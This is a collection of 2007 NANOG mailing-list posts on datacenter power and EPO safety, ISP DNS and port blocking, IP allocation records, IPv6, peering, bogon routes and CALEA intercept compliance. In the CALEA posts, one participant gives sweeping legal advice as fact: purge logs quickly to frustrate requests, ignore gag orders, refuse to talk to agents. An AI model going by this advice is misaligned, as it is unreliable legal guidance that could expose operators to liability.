On 8/2/07, Craig D. Rice [EMAIL PROTECTED] wrote: We have already attempted the usual troubleshooting and have eliminated user problems, computer problems, server problems, cable modem problems, and Linksys router problems. Traceroutes have been somewhat inconclusive since Onvoy blocks ICMP within its network. Craig, This rings a bell. Do they block the mandatory ICMP fragmentation-needed messages? Try this: on your web server, reduce the MTU from 1500 bytes to 1400 bytes and see if the affected comcast users can now access your web server. Regards, Bill Herrin -- William D. Herrin [EMAIL PROTECTED] [EMAIL PROTECTED] 3005 Crane Dr.Web: http://bill.herrin.us/ Falls Church, VA 22042-3004
Re: Why do we use facilities with EPO's?
Barry wrote: I worked three years with the boston fire dept, albeit quite a few years ago, and rode into many fires and don't generally remember them being much concerned about hitting *anything* with a high-pressure stream of water if it's on fire. Remember all those rules you know about not using water on electrical or chemical fires? Doesn't really count if you have charged fire hoses and know what you're doing except in some special circumstances (they did foam things occasionally, very occasionally, foam costs money!) Around here (Silli Valley) the firefighters I know are pretty aware of the risks of electricity. They say that some of them have been fried by UPSes. And hazmat; we have the large containers of WMD-grade-toxic silicon fab gases being shipped around. -george william herbert [EMAIL PROTECTED]
Re: Why do we use facilities with EPO's?
If they can be avoided, why do we put up with them? Major electrical fire, or arcing in the datacenter. Flood in the datacenter. Accidental water sprinkler discharge in the datacenter. Equipment fire that the FM-200 didn't put out, and you want not to have the sprinklers go off if you can avoid it. Equipment fire in a room without FM-200 in the first place. Equipment fire with sprinkler discharge, and you'd really rather just dry out the equipment than have to replace it all. Electrical worker who's electrocuted himself and going to die if you can't make the power go away. There are a very few exceptions, but for our practical purposes, people really ought to simply go to multiple site redundancy rather than thinking about bending major safety assumptions in how we operate individual buildings. You may have a few less outages, but you may also kill someone. What the Navy does on ships, for critical ship safety and combat systems; what the FAA does for their radar facilities and air traffic control facilities; what Telcos do, these are different operating regimes, and there are associated higher risk acceptance with the different equipment setups and safety procedures. -george william herbert [EMAIL PROTECTED]
Re: Why do we use facilities with EPO's?
I've always wondered who died or was injured and caused the EPO to come in to existence. There have been lots of EPO caused downtime stories, but does anyone on the NANOG list even have one single Thank God for the EPO story? I'll feel better about the general state of the world if I know that the EPO actually has a real valid use that has been ACTUALLY PROVEN IN PRACTICE rather than just in someone's mind. -Jerry Is so anti EPO, he has no remote EPO buttons, and even has the irrational fear about the jumper on the EPO terminal strip inside his UPSes coming undone. A friend of mine is a volunteer firefighter (and ex-ISP CEO, used to be on the list). I'm not sure that he'd voluntarily enter a burning datacenter to put it out if there wasn't an EPO. Firefighters won't use water on live electrical fires. If your response plan to a fire in the datacenter is the building burns down and hope nobody's inside it still then you're set. I've seen someone electrocuted and frozen on the wire in a non-datacenter setting; we flipped the building breaker, which was further than an EPO would have been. It wasn't through his chest, and was only 110 V, so it probably didn't make a difference that it took a minute to turn it off instead of 10 seconds. There were no severe burns, etc. I've seen equipment catch on fire in a datacenter. If I hadn't been able to cut off the power locally, the EPO was the last line of defense... People I know have hit the EPO when sprinklers discharged in the datacenter. If you're lucky these won't happen to you. But that's not why safety rules are put in place. Unluck happens. -george william herbert [EMAIL PROTECTED]
Re: Why do we use facilities with EPO's?
Seems like the EPO should be a logical AND with the fire alarm system - it only works AFTER you have an existing fire alarm in the building. No, no. If the fire alarm system fails, the fire responders need to be able to hit the EPO and be sure that it works anyways. It has to be an absolute - firefighters have to know that the thing they hit was the only, and right, thing, and that they aren't going to die because they sprayed water on an energized but on fire electrical system backed by a 120 KVA UPS or some such. Also, one should not wait for fire alarms to go off to de-energize a room in the clear presence of an electrical fire or major short. Preventing the fire is better than putting it out. Telco central offices are somewhat of an exception in many ways, but just about anyone else should have a real live EPO. -george william herbert [EMAIL PROTECTED]
Re: San Francisco Power Outage
Michael Dillon writes: And the stories that the power guy I'm working with tells about foreign facilities, particularly in middle east war zones, are really scary... We fundamentally do not have the facilities problem completely nailed down to the point that things will never drop. Level 4 datacenters can, and will, fail. Nothing you can do including just doing 48V DC for everything are truly foolproof solutions. A single level 4 datacenter is a Single Point of Failure! Two of those middle-eastern style facilities is... ? Has anyone actually kept track of all these data center failures over the years and done some statistical analysis on it? Maybe two half-baked data centers is better than one over the long run? Remember that one 10-12 years ago in (Palo Alto, Mountainview?) where a lady in a car caused a backhoe driver to move out of the way which resulted in him cutting a gas line which resulted in the fire department evacuating the data center, cutting off electricity in the area, and forbidding the diesel generators to be switched on? Santa Clara. I was working right outside the evacuation radius. Which exchange point was in the building? PB-NAP? CIX? I remember we had a net-dark event associated, but not which one. It was a bad day... The lesson, as you point out, is that geographical redundancy is sometimes necessary. This is as true for providers as for datacenter end-users... -george william herbert [EMAIL PROTECTED]
Re: ASN Name of the week
On Wed, 25 Jul 2007, Carlos Friacas wrote: We'll probably run out of v4 addresses sooner than 2 byte ASN, No. however, globally it seems more pieces of the puzzle are in place for the latter revolution. Depends on what you define as in place but I would disagree that world is ready to move to ipv6 right away, where as moving to 32-bit ASNs is relatively easy even if some are not ready. -- William Leibzon Elan Networks [EMAIL PROTECTED]
Re: San Francisco Power Outage
Seth wrote: Jonathan Lassoff wrote: Just a heads up to anyone on list that PGE has just sustained a large outage in San Francisco that has caused a few hiccups (both network, electrical, infrastructural, etc.) around the city. I've confirmed that both customers in 365 Main and parts of telecom 1 have both sustained brief blackouts. No word yet form 200 Paul. Anyone in the area that could use a hand with anything, I'll probably be wrapping up fixes for my stuff soon, and would be glad to help however I can. I have a question: does anyone seriously accept oh, power trouble as a reason your servers went offline? Where's the generators? UPS? Testing said combination of UPS and generators? What if it was important? I honestly find it hard to believe anyone runs a facility like that and people actually *pay* for it. If you do accept this is a good reason for failure, why? Unfortunate real-world lesson: there is a functional difference between pushing the UPS test cutover button, and some of the stuff that can happen out on the power lines (including rapid voltage swings, harmonics, etc). I know 365 Main has the equipment and tests it, I've been standing outside when the generators spool up. I've had generator firmware upgrades generate reporting info on the serial uplink that flipped the UPSes into permanent error state until the Liebert guys got off the plane with the replacement mainboard. I've had grid voltage fluctuations that toasted VSDs in chillers. I watched a building's electrical service go pop when a transformer blew and ran 10kv into the 220 mains for a fraction of a second as it arced. I was at home but called in after a 5 MW generator popped under a sufficiently badly harmonic UPS and PDU load of only about 2.4 MW. I had a client who forgot to wire the A/C into the UPS, and nearly melted a whole server room. And the stories that the power guy I'm working with tells about foreign facilities, particularly in middle east war zones, are really scary... We fundamentally do not have the facilities problem completely nailed down to the point that things will never drop. Level 4 datacenters can, and will, fail. Nothing you can do including just doing 48V DC for everything are truly foolproof solutions. -george williiam herbert [EMAIL PROTECTED]
Re: DNS Hijacking by Cox
Brandon Galbraith wrote: On 7/22/07, *Sean Donelan* wrote: DNS is just another application protocol that runs over IP. You don't have to use those DNS servers to resolve names. Possibly, you do (based on experience). Agreed. If you're savvy enough to have a problem because of this, you're savvy enough to a) Use another set of DNS servers or b) Use your own local resolver. For awhile, Comcast blocked/redirected all DNS queries, sending them to their own servers. Then, their servers didn't work properly Comcast still blocks port 25. And last week, a locally well-known person was blocked from sending outgoing port 25 email to their servers from her home Comcast service. It took some days to find out that Comcast had (without any notice) turned off her outgoing email (Monday), due to spam complaints! Needless to say, her MacBook isn't sending spam -- but many thousands of folks have her email address in their (presumably infected M$) address books. The official response: We don't support Thunderbird. You could use web email instead. When you pull stunts like that, you shouldn't complain about legislation.
Re: TransAtlantic Cable Break
Is paying for protected circuits actually worth it. Or are you better off just buying two circuits and using both during normal conditions. Use switching at layer 3 to the remaining circuit during abnormal conditions. Most of the time, you get twice the capacity for only twice the price instead of a protected circuit where you only get the once the capacity for twice the price. Of course, there is still the problem some facility provider will groom both your circuits on to the same cable. If you are buying pre-emptable circuits, hopefully you understand what that means. I've seen diverse protected circuits groomed, onto the same fiber bundle. One backhoe hit took out the first half of the cable, but the digger realized he goofed and stopped. The fiber company then cut the rest of the bundle to cleanly fix the cut... without warning anyone who was running on their failover protected circuit that something might be about to happen. Major collaboration vendor outage root-caused to that one... -george william herbert [EMAIL PROTECTED]
ATT $10 DSL plan
Apparently, this has been in the news for a couple of days, but only just hit my hometown paper === ATT Inc. has started offering a broadband Internet service for $10 a month, cheaper than any advertised plan. The DSL, or digital subscriber line, plan introduced Saturday is part of the concessions made by ATT to the Federal Communications Commission to get its $86 billion acquisition of BellSouth Corp. approved last December. The $10 offer is available to customers in the 22-state ATT service region, which includes Michigan, who have never had ATT or BellSouth broadband. === Basically, it's only available to *OUR* customers that switch! What the heck is the FCC thinking? Did ATT basically say, Please don't throw me into that briar patch. I cannot even lease dialup lines from ATT/BS at that rate. It will put all competitors out of business. Anybody considering a lawsuit to stop this happening?
Re: Software or PHP/PERL scripts for simple network management?
[EMAIL PROTECTED] wrote: I agree, DNS should *reflect* reality, but I think it is very much misguided to say that DNS should be the place to have canonical information (i.e. source of all data). Canonical data is in routing/forwarding tables on routers/switches. That's the operational reality. Others have mentioned this, but that's just wrong. For 20 years, there's a reason we've been using policy-based routing, routing arbiters, etc. The amount of data that you need to track IP allocations just doesn't fit well into DNS - there's no place to store customer id/service id, the length of allocation (is this IP part of a /28? /29?), etc. So you'll have to have canonical data somewhere else anyway. Others have mentioned this, but of course all that should be stored as comments in the file. I never found any automated tool that stored all the information properly. Text records with comments are flexible. And the allocation size is extremely important, as you need pointer records to the customers' .arpa NS records! Surely, you don't handle everything on 8-bit boundaries in this day and age And when the routing table doesn't match, withdraw the route, and fire the miscreant that failed to properly maintain the allocation data! Unfortunately, I'll have to say again that this doesn't scale. :) There's a saying where I grew up: Ford is in the business of making cars. GM is in the business of making money. The notion is that GM doesn't really care about the quality of its cars, as long as it makes money. Branding the local congresscritter the representative from GM is not a compliment. (Not so coincidentally, his considerably younger trophy wife is a GM heiress.) The 'net is what I've spent most of my adult life making. 'nuff said.
Re: Software or PHP/PERL scripts for simple network management?
Drew Weaver wrote: Does anyone have a recommendation of any software products either commercial or freeware which will import the ip routing table from one of my routers/switches and display it in a sorted manner? We just need an easier distributed method than logging into our Black Diamond and typing sh iproute sorted every time we need to find an available subnet. Wow, LOL! The software product is called a text editor. Look at your list of assignments in your NS .arpa. file: 1) Find a subnet that hasn't been assigned. 2) Update the text file. 3) Wait for it to propagate. 4) Tell the customer. The concomitant procedure for static host assignment is: 1) Find a number that hasn't been assigned. 2) Update the text file. 3) Wait for it to propagate. 4) Then, and only then, update the forward NS file(s). 5) Tell the customer. Of course, there is software that will automatically maintain the files, and even send a signal to bind, but I've alway found them to be weak at subnet management. Text editor is the way to go -- using subversion for distributed file management (that is, knowing who to blame for mangling the assignment commit).
Re: Software or PHP/PERL scripts for simple network management?
[EMAIL PROTECTED] wrote: Neither 'show ip route' or 'have a text file' scale beyond a hundred customers. Hogwash. Used text file allocation for ~3,000 customers. After all, it is *REQUIRED* to exist (for bind). You need *a* canonical place that is authoritative for all others. Existing tools easily track commits. DNS should always reflect reality. Then automated tools will show human readable information. Someday, it may even be authenticated (but I've been beating that horse for a decade). I'm sick and tired of bad NS data. Yes, we used a separate database for billing, and maybe could have automatically generated the text file. Didn't want the customer service/billing folks to have access to network configuration ;-) Any time you have more than a single location for maintaining network configuration data, or allow technicians to just slap a route into a router on a whim, you are bound for future difficulties! And when the routing table doesn't match, withdraw the route, and fire the miscreant that failed to properly maintain the allocation data!
Re: UK ISPs v. US ISPs (was RE: Network Level Content Blocking)
Sean Donelan wrote: UK ISP associations have developed a centralized blocking solution with IWF providing the decision making of what to filter. 90% of the UK broadband users accept the same voluntary decisions about what to filter. I have not seen any evidence presented that *any* UK broadband users either *know* about or accept the voluntary decisions of their ISP, made for them in their 'Net Nanny role. Could you point to the URL for this scientific polling data? On the other hand, US ISP associations have advocated for decentralized blocking solutions, leaving the decision to parents and multiple content filtering companies. US ISP associations have been active in this area since the early 1990's, although US ISP associations seem to only last so long before they disappear and a new association springs up. And that has not worked out well for us. No continuity, no effective lobbying organization. Where, oh where, are CIX, ISP/C, et alia?
Re: Network Level Content Blocking (UK)
Iljitsch van Beijnum wrote: Interestingly, nobody has mentioned on the list what the offending content is yet. Or why this would even remotely be a good idea. I would think that if the content in question is legal, ISPs and the government shouldn't touch it, and if it isn't, law enforcement should do something about it. It was in http://publicaffairs.linx.net/news/?p=497 images of child abuse voluntary co-operation At present, the government does not propose to require UK ISPs to block content and our policy is to pursue a self-regulatory approach wherever possible. However, 90 per cent. of connections is not enough
Re: Dead Thread (Re: Security gain from NAT)
Was this message sent because one or more members of mail admin team expressed their own opinion and wanted thread to end or because others (presumably more then one person to act on it) have complained? On Wed, 6 Jun 2007 [EMAIL PROTECTED] wrote: I think at this point, everything that could possibly be said about NAT and security has been said. Unless you have something profound to add which hasn't been mentioned in this thread before, please refrain from adding to this thread. -Alex (for the mailing list team)
Re: IPv6 transition work was RE: NANOG 40 agenda posted
On Sun, 3 Jun 2007, matthew zeier wrote: John Curran wrote: Best of luck with it; load-balancers aren't generally hiding in ISP's backbones and it hasn't been major revenue for the traditional router crowd. Net result is there hasn't been much IPv6 attention in that market... I suppose, but certain places like Mozilla, would be dead in the water without load balancers. Citrix got their act together and shipped 8.0 with v6 vips on the front talking to v4 servers on the backend. While I understand that some place may want to put policies that every v4 part must be exactly same as v6 I think more realistic view is better. You should have servers ready to answer v6 but look at your traffic - is it really necessary to add v6 to your load-balancer or would it be ok to just have record pointing to particular system (even if 7 others are available) because the amount of traffic makes more sense. Now when v6 traffic increase there would be more pressure for vendors to make load-balancers support v6 as well and you'd not have problems then. But if you're still thinking about v6 load-balancers, then I recommend taking a look at http://kb.linuxvirtualserver.org/wiki/IPVS -- William Leibzon Elan Networks [EMAIL PROTECTED]
Peering [EMAIL PROTECTED] BOF XV at NANOG 40 in Bellevue
[ If you are NOT ATTENDING this NANOG in Bellevue, please disregard ] We have some time at this Peering BOF XV for some Peering Coordinator introductions. This is a chance for Peering Coordinators to introduce themselves to the group before we break for beers. How does this work? We solicit Peering Coordinators (with this note), asking them to characterize their networks and peering policies in general ways (content heavy or access (eyeball) -heavy, Open vs. Selective vs. Restrictive policies etc.). From the answers we will select a set of ISP Peering Coordinators to share a short (2-3 minute) description of their network, what they look for in a peer, etc., allowing the audience to put a face with the name of the ISP. At the end of the Peering BOF, Peering Coordinators will have time to speak with Peering Coordinators of ISPs they seek to interconnect with. The expectation is that these interactions will lead to the Peering Negotiations stage, the first step towards a more fully meshed and therefore resilient Internet. If you are a Peering Coordinator and wish to participate in the Peering Personals section of the Peering BOF, please reply to me (privately) with the answers the following 8 questions: -- 1) Name: 2) Title: ___ 3) Company: _ 4) AS#: _ 5) Check which one best applies: ___ We are an ISP (sell access to the Internet) --OR-- ___ We are a Non-ISP (content company, etc.) ___ We are Content-Heavy --OR-- ___ We are Access-Heavy 6) Check whichever ones apply: ___ We are an Open peer (The answer to peering requests is YES) ___ We are a Selective peer (The answer to peering requests is YES but we may have a few 'objective and meetable' pre-requisites such as three geographically diverse locations with 10Mbps on each coast) ___ We are a Restrictive peer (The answer to peering requests is generally NO) ___ We have huge volumes of traffic (lots of users and/or lots of content) (huge: 1 Gbps total outbound traffic to peers and transit providers) ___ We have a global network ___ We require Contracts for Peering 7) Current Peering Locations: ___ 8) Planned (3-6 mos) Peering Locations: ___ Bill -- // // William B. Norton wbn at equinix.com // Co-Founder and Chief Technical Liaison, Equinix // GSM Mobile: 650-315-8635 // Skype, Y!IM: williambnorton
Re: IPv6 Training?
On Thu, 31 May 2007, Alex Rubenstein wrote: Does anyone know of any good IPv6 training resources (classroom, or self-guided)? Looking to send several 1st and 2nd tier guys, for some platform/vendor-agnostic training. Internet2 people have been running workshops on multicast and IPv6 separately. Any clues? Thanks.. -- Alex Rubenstein, AR97, K2AHR, [EMAIL PROTECTED], latency, Al Reuben Net Access Corporation, 800-NET-ME-36, http://www.nac.net wfms
Re: IPv6 Advertisements
On Tue, 29 May 2007, Mohacsi Janos wrote: f-root does this on the IPv6 side: 2001:500::/48 Whether that's available everywhere on IPv6 networks, is as Bill pointed-out, another question. Have a look at it: http://www.sixxs.net/tools/grh/lg/?when=nowyear=2007month=05day=29hour=18show=allpathsformat=htmlreport_grhwork=onreport_grhfail=onreport_nongrh=onfindtype=prefixfind=2001%3A500%3A%3A%2F48 Ironically, AS25689 (that's me) does peer with the local f-root via IPv6, but SIXXS claims I don't see it. :-) wfms
Re: Policy of Dial-up session processing
Radius can and should report both on and off times, look into your configuration. As far as 1st of the month, consider it virtually closed open at midnight on 30th/31st in accounting. Example how to do it could be to write a script that when processes radius log at the end of the month and looks at all open sessions adding end radius accounting data in there as well as adding start session for next month's log. P.S. I've not ran dialup ISP and used radius for LONG time but did exactly as above for hourly customers before. The biggest issue I remember was when your dialup server itself dies (rare but happened) since then you do not have record of customers getting off, same script was used to virtually close sessions. On Fri, 11 May 2007, Joe Shen wrote: hi, Maybe this is out-of-topic ,but I can't find any place where could find answer for this question. If this is intrusive, just ingore it please. my question is : how does ISP do with DSL dial-up sessions which pass the accouting period time. E.g. If a customer subscribe DSL service at 15USD/month for 150hours. If the subscriber used 145hours by 30th May. He get online at 21:00 on 31th, and get offline at 5:00 on June 2th. The radius server could only export the customer's session when he get offline. So, problem comes to accouting system which was designed to calculate customer usage on first day of each month. The cut-off line of each month usage is set to 00:00 on first day of each month. Someone says , ISP should force those session closed at 00:00 on first day of each month, because they must ensure dial-up session of last month sould not be accouted in next month. Is this true ? thanks in advance. Joe
Re: ISP CALEA compliance
David Lesher wrote: Speaking on Deep Background, the Press Secretary whispered: You work so hard to defend people that exploit children? Interesting. We are talking LEA here and not the latest in piracy law suits. The #1 request from a LEA in my experience concerns child exploitation. That's nonsense, or his (press secretary's) experience consists of watching /Law Order/ and /Without a Trace/. No official statistics backs that up. Where in the world does he operate? I think you'll find most intercept orders are drug cases. So I've heard, but my experience was the Ashcroft 'net p0rn crackdown. What a waste of time and resources for a perfectly legal activity! Of course, CALEA (and PATRIOT) were supposed to be about tracking terrorists, not common criminals. That was never the real purpose; it was just a wish list. Also, with so many college students, we *are* talking about piracy lawsuits. But that's civil law, not CALEA or PATRIOT. Hopefully, they haven't tried to expand into that, too? And no matter what, we still have a Constitutionsort of... Which brings up my point be sure and let your Hill Critters know what shit you are going though Thanks! I said that a bit more politely, but it should be emphasized: report each and every request to your Congress critters. Remind them how much it's costing business, and an utter waste of effort.
Re: ISP CALEA compliance
Jared Mauch wrote: You need to have a router or some appliances that will assist you in the required lawful-intercept capabilities that are necessary. But anything whatsoever is OK. Since you don't know of the capabilities required in advance, there's no reason that it be a fast router or switch. An old slow hub is fine Remember, you don't actually have to do anything until *after* you receive the payment -- that is required up front! Take the time to read the 2nd order and report, and review FCC form 445. The filing date for that form passed, but that was a form to be filed to capture a snapshot of the current state of compliance. Keep in mind that you may need to negotiate with the requesting agency (ie: the folks that give you the subponea that cites CALEA). Speaking from experience, that's very likely -- a lot of negotiation trouble. No matter what happens, you'll pay some attorney fees. Also, the gag order was ruled unconstitutional, so always inform your customer! They may be willing to work out attorney fees, and/or join you in a suppression hearing. You probably should remember to call your congresscritters to complain each and every time it happens. Most important: call your state ACLU, as they are trying to keep track, and might be of some help. ;-) === Follow the usual best practices, and you may save time and money. 1. Ensure that your DHCP, RADIUS, SMTP, and other logs are always, ALWAYS, *ALWAYS* rolled over and deleted within 7 days without backup. I'd recommend 3 days, but operational requirements vary. 2. Insist that you receive payment *in advance* before doing anything! And wait until the check clears. 3. Remind the requesting agency that everything must be signed by a judge. Call the issuing court to confirm. Don't accept exigent administrative requests. The recent inspector general report showed that most administrative requests were never followed up by actual judicially approved requests, and virtually none of them warranted exigent status -- they were illegal shortcuts. 4. Never, NEVER, *NEVER* speak to a federal agent of any kind. Do not allow them into the building. Require them to speak to your attorney. Require everything in writing. No exceptions! We returned the first request as inadequate -- since it misspelled the name of the company and the address, and wasn't accompanied by a check. Our problem was that we weren't rigorous about #1 (some staff had been keeping some backups sometimes), and the resulting time and expense for extracting lawful information from all the rest was painful. Learn from our mistake.
Re: ISP CALEA compliance
Sean Donelan wrote: The DOJ/FBI has been pretty consistent. They want it all and if there is a technicality in the law that doesn't give it to them they have consistently tried to expand the laws, regulations and court cases to give it to them. ... Very true! But its also important to remember CALEA compliance and responding to a Title III intercept court order are not necessarily the same thing. Yes. CALEA is only a subset of stuff some carriers have to be prepared to do for Free. Other wiretaps requiring things above and beyond CALEA can be done for a time and materials billing to law enforcement after you get an lawful order (which can vary depending on what is demanded). For example, a Title III, FISA or ECPA lawful order can apply to traffic and institutions not covered by CALEA. ISPs have been responding to lawful orders for over a decade, even before CALEA was a law. And the reality is most of the stuff law enforcement actually wants from ISPs on a day to day basis isn't covered by CALEA (i.e. stored communications and transaction records). Yes. But not even CALEA was for free. There's an argument that although Congress authorized CALEA (and there is also argument about whether the recent expansion to ISPs was authorized at all), it cannot be required of the public until Congress *appropriates* the funds, and they are received by us. Just like the current argument about how to end the Iraq war. Only actual appropriations count. Even non-lawyers should remember our basic civics lessons. If the answer is yes, talk to your lawyer before May 14. If the answer is maybe, talk to your lawer, if the answer is I don't know, talk to your lawyer. And if the answer is no, you probably should still talk to your lawyer. Excellent advice! And not just any lawyer -- this is probably beyond your benefits and retirement planner.
Re: ISP CALEA compliance
Jon Lewis wrote: On Thu, 10 May 2007, William Allen Simpson wrote: Follow the usual best practices, and you may save time and money. 1. Ensure that your DHCP, RADIUS, SMTP, and other logs are always, ALWAYS, *ALWAYS* rolled over and deleted within 7 days without backup. I'd recommend 3 days, but operational requirements vary. Assuming you're actually serious, how do you deal with customers who dispute usage one or more months ago (when they get their bill)? We've never charged on a usage model. We always charged on a fixed tier bandwidth model, payable in advance. Remember, ISPs surpassed bloated telcos in large part because half of telco's inflated costs were for accounting and administration. A long fight with ATT in standards committees was because ATT made 40% or more of their money on minute by minute billed long-distance fax That we made available inexpensively, fixed price, email, etc. We are much more efficient! Unfortunately, as Sean mentioned, CALEA assumes everybody looks like a vertically integrated telco.
Comcast blocking all Gmail!
Heads up on operational problem! Subject: Delivery Status Notification (Failure) Date: Wed, 25 Apr 2007 06:56:24 -0700 (PDT) From: Mail Delivery Subsystem [EMAIL PROTECTED] To: [EMAIL PROTECTED] This is an automatically generated Delivery Status Notification Delivery to the following recipient failed permanently: [EMAIL PROTECTED] Technical details of permanent failure: PERM_FAILURE: SMTP Error (state 8): 550 72.14.246.249 blocked by ldap:ou=rblmx,dc=comcast,dc=net - BL004 Blocked for spam. Please see http://www.comcast.net/help/faq/index.jsp?faq=SecurityMail_Policy18628 Mail to Comcast is rejected and is returned with an error message containing the code BL004. What does this mean? Our filters have determined that email from your mail server has been sent in patterns which are characteristic of spam. In an effort to protect subscribers, your mail server has been blocked from sending email to the Comcast network. Mail servers are typically shared by many users so it may be the case that another party using your mail server has sent spam, even if you have not.
RE: Question on 7.0.0.0/8
On Sun, 15 Apr 2007 [EMAIL PROTECTED] wrote: Why doesn't IANA operate a whois server? In fact they do operate whois server at whois.iana.org. However that has domain data for .arpa and .int and not IPv4 whois data which IANA has historically provided using flat file pointer while having RIR maintain specific whois data even for /8 directly listed in IANA file. Exactly because they do not operate ip whois in the flat file based on IANA data that for me serves as root: http://www.completewhois.com/iana-ipv4-addresses.txt for each IANA allocated block the listed whois server is whois.arin.net Why don't they publish a more detailled explanation field in each IANA allocation record so that they can explain the precise status of each block? This question as well as suggestion for IANA to operate root ip whois server for /8 bloks should probably be sent to [EMAIL PROTECTED] (but its also possible that IANA people reading this list will respond...) Why doesn't IANA and the RIRs collectively get off their butts and actually make an authoritative IP address allocation directory one of their goals? And why don't they do all this with some 21st century technology? A new system based on IRIS protocol (XML based using BEEP as transport) will be in place in the future that will work better as a comprehensive directory. -- William Leibzon Elan Networks [EMAIL PROTECTED]
Re: Question on 7.0.0.0/8
On Sat, 14 Apr 2007, Jon R. Kibler wrote: CYMRU has 7/8 listed as a bogon: http://www.cymru.com/Documents/bogon-dd.html Their list is more or less authoritative, so I would believe that you should never see traffic from that netblock. This is also consistent with Sprint blackholeing it as a bogon in your original post. Their list is no more authoritative then mine and I suspect they simply did not look into this netblock case before. Another bogon tracking system http://www.cidr-report.org/#Bogons does not list it as bogon even though it does see same 7.1.1.0/24 announcement by Sprint. I'm also curious to know why you think that Sprintlink is blackholing it? - In case you're wondering they do route this block, here is where my traceroute ends: ... 11 sl-bb20-rly-12-0.sprintlink.net (144.232.7.249) 79.181 ms 76.106 ms 77.925 ms 12 sl-bb20-tuk-11-0.sprintlink.net (144.232.20.137) 97.675 ms 97.748 ms 98.021 ms 13 sl-bb21-tuk-15-0.sprintlink.net (144.232.20.133) 97.672 ms 97.579 ms 280.387 ms 14 sl-bb21-lon-14-0.sprintlink.net (144.232.19.70) 168.667 ms 169.151 ms 179.363 ms 15 sl-bb23-lon-14-0.sprintlink.net (213.206.128.54) 168.879 ms 168.922 ms 168.716 ms 16 sl-bb21-ams-3-0.sprintlink.net (213.206.129.142) 161.711 ms 161.816 ms 180.609 ms 17 sl-bb20-ham-14-0.sprintlink.net (213.206.129.50) 167.782 ms 167.884 ms 167.716 ms 18 sl-gw2-ham-0-0-0.sprintlink.net (217.147.96.100) 167.770 ms 167.928 ms 168.193 ms 19 * * * Last hop is in Germany which is a bit suspicious for supposed US DoD block but there are some military bases there after all... Also there are some interesting messages about this netblock that one can find on the net, like say: http://www.monkey.org/openbsd/archive/misc/0207/msg01215.html http://irisheagle.blogspot.com/2006_03_01_irisheagle_archive.html That said, it doesn't mean that the netblock is unused. Most likely it is a netblock that DoD actually uses, but it is only routed on DoD's private backbone and never on the Internet. If that is the case and they started using it in the days of J Postel with his permission, then its not a bogon. Conflicting information at ARIN and especially that their info was updated in 2006 leads me to believe that's the case. Add to it that I have several copies of old DoD hosts table and they all list it as EDN-TEMP, but what it refers to and if the block should or should not still be in use I don't know. Unfortunately all of this does not mean you should allow (or deny) traffic from 7.0.0.0/8, but it also does not mean that if you do see any traffic that its necessarily unauthorized. william(at)elan.net wrote: Anybody know if 7.0.0.0/8 is or is not allocated to DoD? The data at IANA and ARIN is kind-of confusing... --- 7.1.1.0/24 ## AS1239 : SPRINTLINK : Sprint 7.0.0.0 - 7.255.255.255 ## Bogon (unallocated) ip range --- http://www.iana.org/assignments/ipv4-address-space 007/8 Apr 95 IANA - Reserved --- [IPv4 whois information for 7.0.0.1 ] [whois.arin.net] OrgName:DoD Network Information Center OrgID: DNIC Address:3990 E. Broad Street City: Columbus StateProv: OH PostalCode: 43218 Country:US NetRange: 7.0.0.0 - 7.255.255.255 CIDR: 7.0.0.0/8 NetName:DISANET7 NetHandle: NET-7-0-0-0-1 Parent: NetType:Direct Allocation Comment: RegDate:1997-11-24 Updated:2006-04-28 OrgTechHandle: MIL-HSTMST-ARIN OrgTechName: Network DoD OrgTechPhone: +1-800-365-3642 OrgTechEmail: [EMAIL PROTECTED]
Re: Question on 7.0.0.0/8
On Sat, 14 Apr 2007, David Conrad wrote: Hi, On Apr 14, 2007, at 12:47 PM, Rob Thomas wrote: We checked with IANA, ARIN, and the US DoD regarding 7.0.0.0/8. We were told that this netblock should not see the light of day, Right. Packets sourced out of 7.0.0.0/8 should never be seen on the Internet. What about BGP routes for it then (see below)? though there is some debate about its allocation status. Not really. The debate is about how that status should be reflected in the IPv4 registry maintained by IANA. The ARIN data is, as far as I am aware, accurate. We're waiting for all of those parties to issue a consistent statement before we make any changes. When we tried to update the IANA registry to reflect what was in the ARIN database, we were told not to. We tried to explain the registration information was already public via ARIN, but were told not to update the IANA registry. IANA and ARIN are working out something to resolve this issue. Ok. I'm going to take the above to mean that its not in fact a bogon block and that DoD is correct owner of the block. But as I do have tickets open with both ARIN and IANA, I'll wait a little bet for an answer there before making actual update. The question now still remains regarding 7.1.1.0/24 advertisement. Is it legitimate or an error or something worse? P.S. This advertisement has been around from start of the year, around Jan 15th is I think when it started. Previously I've not seen this block in BGP although it does not mean it did not happen for specific peers who did not pass it along further. -- William Leibzon Elan Networks [EMAIL PROTECTED]
RE: Question on 7.0.0.0/8
On Sun, 15 Apr 2007, Huizinga, Rene wrote: BTW, on the same line what's going on with 180.190.0.0/16 actually ? It's within the 176.0.0.0/5 registered as Bogon. Is it a typo (thai-po ? :P ) from an Asian guy (AS24003 originated) or did I miss something lately...? :P I already dealt with 180.190.0.0/16. Here is response: | Date: Sat, 14 Apr 2007 11:51:43 +0530 | Subject: Re: bgp bogon announcements if iana space from AS24003 | | I'll check who is doing this annoucement and get it turned off fastest. | | Thanks | Samod Babu | Sr. Manager-IT ... | 180.190.0.0/16 ## AS24003 : : | 180.0.0.0 - 180.255.255.255 ## Bogon (unallocated) ip range | | Would you guys mind turning it off or if not explaining on nanog and | other mail lists why you're doing it. Thanks. -- William Leibzon Elan Networks [EMAIL PROTECTED]
Question on 7.0.0.0/8
Anybody know if 7.0.0.0/8 is or is not allocated to DoD? The data at IANA and ARIN is kind-of confusing... --- 7.1.1.0/24 ## AS1239 : SPRINTLINK : Sprint 7.0.0.0 - 7.255.255.255 ## Bogon (unallocated) ip range --- http://www.iana.org/assignments/ipv4-address-space 007/8 Apr 95 IANA - Reserved --- [IPv4 whois information for 7.0.0.1 ] [whois.arin.net] OrgName:DoD Network Information Center OrgID: DNIC Address:3990 E. Broad Street City: Columbus StateProv: OH PostalCode: 43218 Country:US NetRange: 7.0.0.0 - 7.255.255.255 CIDR: 7.0.0.0/8 NetName:DISANET7 NetHandle: NET-7-0-0-0-1 Parent: NetType:Direct Allocation Comment: RegDate:1997-11-24 Updated:2006-04-28 OrgTechHandle: MIL-HSTMST-ARIN OrgTechName: Network DoD OrgTechPhone: +1-800-365-3642 OrgTechEmail: [EMAIL PROTECTED] -- William Leibzon Elan Networks [EMAIL PROTECTED]
Re: Slightly OT: Looking for an old domain for spam collection
